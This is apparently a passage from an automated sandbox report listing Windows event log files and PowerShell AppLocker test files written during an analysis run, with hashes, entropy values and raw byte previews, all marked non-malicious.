Preview:	ElfChnk.\...............\.............................G......................................................................\O.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..^...........*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.165801171629505
Encrypted:	false
SSDEEP:	384:thwCCRzCaCkClCzCYC/CyCVCGCMCvCtlCaf2Ca9CaECaAzCaFECa:tKFD
MD5:	9236B0363C2E488481D99C2A3B97F664
SHA1:	7DF4CAC91226C2E2E36DB78D931D4D8386177406
SHA-256:	968CA40848BDBDDB24126CF3BA1EFE51973835B62A841A13ABBC3F3F76E2AAEC
SHA-512:	7ADE9B5AE3499BB97FBBCAD1F38F530E9592F4CB4AC3472553A340E0D172704CDD3EA2DE39914F5A2ACB87934037EFDE369AF960256269AC221B5AD9724BE31C
Malicious:	false
Preview:	ElfChnk.....................................04..h6...j........................................................................o................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...........................................................................................................v)....../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88152
Entropy (8bit):	4.598310163790206
Encrypted:	false
SSDEEP:	384:jhyMQyMOIMtMNjhyMQyMOIMtMN6KRKkKGxKTKMKxK2KqMqYvMaDMzMBYxMBYYK1D:j6j6L1FGE53tc60G
MD5:	13729562AEBB7EAC37D8F6585CBD282E
SHA1:	65A9FDFBAE5B0494C2051D4CCEEFC56714F5E7DF
SHA-256:	DBB39377816700D7EC16F25CC60F987225881D555F191A96355DE73047ABA8C8
SHA-512:	2DEC60BA1E13C3BE4EEE99BDE9C0BC247E9B7C72DC2624190D32952934F1F995FCB6D1D590AE5291DD395C4424FFD5193C462A6B6AD58CB1A776109382445D27
Malicious:	false
Preview:	ElfChnk..&.......&.......&.......&...................5......................................................................?.T.........................................F...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**.......&...........^........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1810965962810462
Encrypted:	false
SSDEEP:	384:vhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUm7UmLcUmWUmnUm:vY7LU
MD5:	9D9C182984FF3C8DAFD9D7D27F9461F0
SHA1:	72E2D06B61F085737906AD835D09009CFD047203
SHA-256:	C3D5C4AD8C13B39C1EC967B6A9DFCA4ACC94E48C00D1BFAA3BCC5D7B6B134EC2
SHA-512:	2906BF522ABB70A1E2F3F3DE63C732CCAC103B7F8D54CECF22730ED08A64BA1F6243CBC95EE1F1568ED45B7E608B60303B31B7A67EFDF52778CD239FF41F58E9
Malicious:	false
Preview:	ElfChnk......................................1..(4.............................................................................................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&......................................................................................................................*..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67776
Entropy (8bit):	0.36718741310867753
Encrypted:	false
SSDEEP:	48:M5VWd8acrP+8QNRBEZWTENO4brBT3oWx/6yHVWd8acrP+8QNRBEZWTENO4brBT3j:M+NVaO8JoWx/6yN+NVaO8JoWx/6y
MD5:	E3B380688C25E192E9393FBFCF5C5A7D
SHA1:	75168BA35710E5E636ECF826696E0994E43B06FA
SHA-256:	BCF9CFB550A454F6D71C78A7730057CB1B77B1FC3AF5C4E15E722E405E0FCA85
SHA-512:	83C6CFC9C5AD2AFD8AC6D3DB57D9F0D51F1EC91F5CD43862CE92D81072A434E94405D5AB0471EC1DB912C5984907AEF12ED3875FB2225264B9F375E5A63AF704
Malicious:	false
Preview:	ElfChnk..............................................O........................................................................................".......................J...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..............Ty.r..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.07967961973305
Encrypted:	false
SSDEEP:	384:VhIivhiuiMidiyiMi3iEiziXviiqYiMciEiri9iuiLsRi11iWiRmiNiHibifiGiS:VjZvaQKtM9QSp
MD5:	C0228093C6D68E6BF2A2919C4757E19E
SHA1:	4C30BEAA7AB56231126956EC83C6B9159B7C7809
SHA-256:	214406B4B4C04186B2955537F29AC633824792BABF9EE5051B0857CCF9AE2763
SHA-512:	B0E558BEF4B6A43636B87FDAA598BF8329E15920503ED2460B4D0B251BBB29B9CFAC37D35AC5DB0890A65F80A1F6F6AD85A0613CA36E550E70FE1A4354B2CE9F
Malicious:	false
Preview:	ElfChnk.y...............y....................g...i..4........................................................................L..................#..a.......................=.......................#...................................................................................................f...............?................'......P.......................M...F............................................#..............................................................................w#.......'...0..........**......y.......>}.T............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.410222928423883
Encrypted:	false
SSDEEP:	768:PsaQLRaDa/anaraLafarananaPara3abavajaXavanajavabaDaTa7afanaraTa/:yL
MD5:	CBFAA76BF37086B0BF8307043E177AED
SHA1:	A4878DDD62C8701B59BA3994E1440D746B4F192E
SHA-256:	B2A0C5CA329AD60E490A75637FAE0E04BD0DE64691C69337E10C00715AC33B99
SHA-512:	32F527369E7D3938421B7CAE09320C387353A24F05542D0A31E8F4D528F226FD309FB9AD5687A93B5E9164B7E876740F3FBA13CF009BC57FEF3F02507CAC29DE
Malicious:	false
Preview:	ElfChnk.........@...............@...............`.....y.......................................................................S.................b...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................;.......................&...........**..H..............`..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3642612685419924
Encrypted:	false
SSDEEP:	384:dhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJ1qXJNXJLJXJxXJBXJfXJKH5:dQ0yUkNYwD8imLEUzL/HXxS
MD5:	727E32931085339B0D59890FD3759197
SHA1:	1281993447169E4AF0F4EEDE4F70524D766189F6
SHA-256:	66D8CFCF522ABCC5813640D9315FB0FC1497236FEBAE41E1095547E137759BFD
SHA-512:	24BF05FA33772320686E4BD6BF32512DD7BE460393304178292B93E7440B7D198A603C9EB45CCED0479A651C5D752B8E688A207B05E180793D41581E3AACE2FC
Malicious:	false
Preview:	ElfChnk......................................A...D....n........................................................................h................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................................................C................3..........**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.339319118040676
Encrypted:	false
SSDEEP:	384:mh/mcmtmrmsm1mkmQm6m4mnmdmgmsmnmChmxmomMmqmwmHmLmlm9mGmdmpm3mfmP:mNDcxPuxE9KA
MD5:	F2254833A2ECFC2BE8343C689060E95C
SHA1:	4E4CE2B2AE58A6A2EFB7D563F17DCBA59A83D2A7
SHA-256:	A8B52451086D3042E2353D49E565422A083018D22C89F8447889BA77312DEA65
SHA-512:	38DB34911D61CA2EFE5767C0344BEFF5D81ECEB09B6F7C1F8BC34F0E6F8DEBBB010471A78AA181D4F43941C91AB5C6DFD1D26970AE766E1E208DA776D4FC5FA5
Malicious:	false
Preview:	ElfChnk.....................................@)............................................................................[=.t................L.......................t...=...........................................................................................................................f...............?...........................m...................M...F...............................................s...........................................%...........................................&...........*..p.............k...........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7077930323266531
Encrypted:	false
SSDEEP:	384:ohK2nl2U52N2h2Ii2wAx2wI2ff2iW2R12Qc2nT2:op
MD5:	EFAB9CB2241340892CAF25215B175900
SHA1:	379AAFFC0E9465FBC553A8CD7587F45D07274D24
SHA-256:	852B282863F4AD8B40A1CB715C9F3EA8B243472EF1D9E95035408AB586EB49BC
SHA-512:	2702DFE388394AE71F7D2F012E3003F2D3586A5CC2300605D2FF2B14A3F99E4F7443D37203E9EB37101510406C34B6258063807359C31DEDDFE2177ADCB8CBA7
Malicious:	false
Preview:	ElfChnk...............................................k.....................................................................O..w................N.......................v...=...........................................................................................................................f...............?...........................m...................M...F...............................'.......................................................................................................&...........**...............a............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	112672
Entropy (8bit):	3.6633400459609597
Encrypted:	false
SSDEEP:	384:hdRXQRvuRhJhpRuVRNRFBwRkRZR5FRT3RWQGRhRW0RWCRiCuRGRNRJRWCJRkt+Rz:hPJKvaFTLoJKvaFTLfg
MD5:	EA9713941DCA7897D75D38DBFAEEA8C1
SHA1:	A8521CA40033E0EF26AFBC0CE8DDC909C1EF797E
SHA-256:	AFECA0A2C9EB3724A50865330EA1097E9104448F60336DC6C109FAE02B9DD9AD
SHA-512:	7EF03BD749ED81EDEAEAD00229091C12D9E74EB65399C9C0AEAE82CBA10D98482FF148873AC908BB3C23DAF78DF55CE02C7F4A5BE9DC86AFDA00265F949CBA3B
Malicious:	false
Preview:	ElfChnk...............................................6^........................................................................................................N ....... ..=.......................................h#......................}...3............................ ........... ..............f...h...........?.......................h.......Y.......M.......M...F...........................................f?......................................................A.......A#......................&...............*................z..^...........f?..............................................................<.......T...-.!................@..z..^....#..a_@.[.pb...............................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l..............*...................P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.......w.m.i.p.r.v.s.e...e.x.e.......".%.P.r.o.g.r.a.m.D.a.t.a.%.\.M.i.c

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.269282050125859
Encrypted:	false
SSDEEP:	384:Vhghshy2h0hEhDh9vhghp6hXghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLha8:VbsFpkBSqL8wD
MD5:	A58CC6DEC3C876BEEC16907FC49E19BA
SHA1:	C2617D099C46BD902D85BD8FE90FC6F34995BA5A
SHA-256:	BE9A153D8CFAB9F25D94444C14641599D6F8C868DB9675D3FA330E0C7C0110A6
SHA-512:	4311D7F2C987CCE1F5EE8F78B867A87BFDE8D5E28C996B2BF1347B41063F38B6CB98BE968A962064C5920B9F355AA537FE5370FB78D52C69F5B81B279C394D5D
Malicious:	false
Preview:	ElfChnk.............................................b.......................................................................<...........................................l...=...........................................................................................................................f...............?...........................m...................M...F...........................................a.......................................................................................9...&...........**..@.........................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2593916356001515
Encrypted:	false
SSDEEP:	384:ahOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOV5VqVFlVmV8VVG:ayjbS
MD5:	14652E4148A13AE019B3CF2CC20B5812
SHA1:	0D6C33AC1CF9CF3EDB3B4632A0943BC7ED7521FC
SHA-256:	3946831B472B0248BBBB225A2253A26A693E9155C3FFF0D8CE29897E07573134
SHA-512:	0306DB2CBFEB878570FF4B4342CD6E89B056D9FE7E41029CE17FD08953749351EB65C8B942D36EB7842F6167219997D876270DC0B5528F4FFC13EB310B8F0324
Malicious:	false
Preview:	ElfChnk........."..............."...........`8...9....H4......................................................................4.................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v...........................................................................&..........*..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.328278185990426
Encrypted:	false
SSDEEP:	384:Kh4BwBxNqObx1rBwBwQtBwBnp+/0JBwBc/wBwBwtBwBwfBwBAsmBwBkBwB2mBwBU:K/NqObx/gs3uWQfcjDsM
MD5:	55B1F2AB9BC716BAE0B9ACED1620227A
SHA1:	250594A8BF97340574AE1F4E051AA88A05795001
SHA-256:	972AF48177FCEE32DFE0881E0E8D7B0F333859D1B678FDCE0895A9A4E9999E93
SHA-512:	7932CF638871AB0E78E73C0A47F767768F4B37EBB6DDDAC4344F2391E7B2831EB696AA5B03BCA4939583FA759247C67214FECCC8E5FC54656CD2F3032042D17F
Malicious:	false
Preview:	ElfChnk.....................................X....1...f@k.....................................................................i..............................................=...........................................................................................................................f...............?...........................m...................M...F....................#......i...........................................................................................................&...........**..H..............A..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.396202402379334
Encrypted:	false
SSDEEP:	384:IMh4UEiUEfUE5UE0UEfUEtUEpUEAUELUEvUEcUEJUEBUE3UEHUERUExUEeUEaUEW:voHgSNX8+BoUYUkIO
MD5:	838CCFDA7EEB847C3F96507592B3480B
SHA1:	1D1C0CA6AFCCC861AFB6B7D2BD500657CC139AC7
SHA-256:	2E474ECD1D96758EA0BD52D3C594998DFC30DCB83270638B107B41B81FB51339
SHA-512:	59156BC3267CABA12BB8F542EF10E409F0E685731E8C916681457C9376B36A84DB13B29F006C049528E1E78D63168B9C4B521088FB08445F208432BBDC0EC749
Malicious:	false
Preview:	ElfChnk.....................................0).....N..,.....................................................................i.........................................R...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..............4.............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68128
Entropy (8bit):	4.232360734435093
Encrypted:	false
SSDEEP:	384:8FR8FRqtM4c60zCwy/EowMt7uS+owMt9UQwowMtbGowMtkoNCaoQlowMtjnXyoAz:KY20DyPUW398Q4D2W
MD5:	EA22CE163818CE3BA8D689D88FEDCB00
SHA1:	5F81F95AB616CFE0B8A68E667D23A4649F9C67FF
SHA-256:	1D282E289A0FCB7AD1D1794383CD4ECDD392BF2D0EBC2E0217A7283A5A1DF2E5
SHA-512:	D579AAF6DDF57EC12D17FAE9CB14A8DB90383215AFCD0E6EB7BBA590E7EF2D9978858C817404AC4737E611C6838BDA82BCF27DF47803A10C076F439C93837E16
Malicious:	false
Preview:	ElfChnk.................b.......b............... ....v:.............................................................................................s...h...............N...=...................................................N...............................................w.......6......................./...................................]...........).......M...T...:.......................................................................................&.......................................................**.. ...b...........^........0.;M&.......0.;M.j.Y)..G2.zA.......A..5...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....^...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Setup.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68440
Entropy (8bit):	0.4795448049634197
Encrypted:	false
SSDEEP:	96:mNVaO8JoQ8SRO2U8w527NVaO8JoQ8SRO2U8w52:wV7C1RCGV7C1RC
MD5:	A198F199AB4A57021AF846544EDB727D
SHA1:	85B9BACD0A7AECC007094C2FE2704E63FB89D161
SHA-256:	A1DBA1EA76262BA6ABEE0EF1D55836625B556C5D4BF8C44F902395E8520D8F06
SHA-512:	83DBCB5CA0165D5B1292B9D6C1A9C5BC0169120B633F4ECC8590B2ECA8866F24A9C28A09BFCDA3C51BF6238B67D5C0DE6EA0A9F1DA03A71B57CC48B60A2FD546
Malicious:	false
Preview:	ElfChnk.........................................X...v.\|..................................................................... ...............................................=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..............8...^........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88720
Entropy (8bit):	4.494679090281514
Encrypted:	false
SSDEEP:	768:ykt1rIgd+gkt1rIgd+CVGg5OwELSTFxCydU5vDXkt1rIgd+MX:fSgd+VSgd+A/1MgSgd+MX
MD5:	D8BBC036B9CCFBC92B1247DD36815BAC
SHA1:	3578CC64F16C4F32AAD280EAF9190FE78306511E
SHA-256:	6594DB9C26D145A889CE4E57BD810F8F0D031832BA114093B36D61EED57B995B
SHA-512:	1E43C0CAF9133BC2C0806A76F63A74FF3B4336D45E5D30F3811873AC0773CCF87AB502E7ECEB57C99CB280FE33C9803AC08AA51707A711F2B083C4F5534C8FA6
Malicious:	false
Preview:	ElfChnk.........................................+...s.l....................................................................m.u................R...s...h...............z...=...................................................N...............................a....'..........w.......2.......................G...................................Y...........).......M...5...:...................................&....................................................................... ...!'..+...............&...........*..@...............^...........l&..........l...R...`....=.......A..1...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....Z...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	86776
Entropy (8bit):	3.836153912474342
Encrypted:	false
SSDEEP:	1536:tFwdontl3EJ5Xs3g3Fwdontl3EJ5Xs3gpCssVtILMmYirZOZ2c1R0uXbiwO9X:
MD5:	A96D24D9E3002B91A5C274F24215C5A0
SHA1:	BE4A0421AF4529A17E8F316478D143F67475D327
SHA-256:	6B22CFBCAE880A6625E329513B4F59F646958256A96DE41D8A5EB79A94FC892A
SHA-512:	E4A91A425C0B133AC46E0D4F2E45CF3C7086F5EBC654DBAFB3A1A262523C9411E4A60186157D5E5A8B6EBE1DA915DB392C786F98800EF8F6CDE4A543AC88A630
Malicious:	false
Preview:	ElfChnk.................i.......x............M...R..........................................................................0.C............................................=..........................................................................................................................._...............8...........................f...................M...c...........................p...................................&...................................................................................**......i............^........}k..&.......}k.....R.H............A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

C:\Windows\Temp\__PSScriptPolicyTest_dj2wu4l4.iio.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_fepegvz2.dyp.psm1

Download File

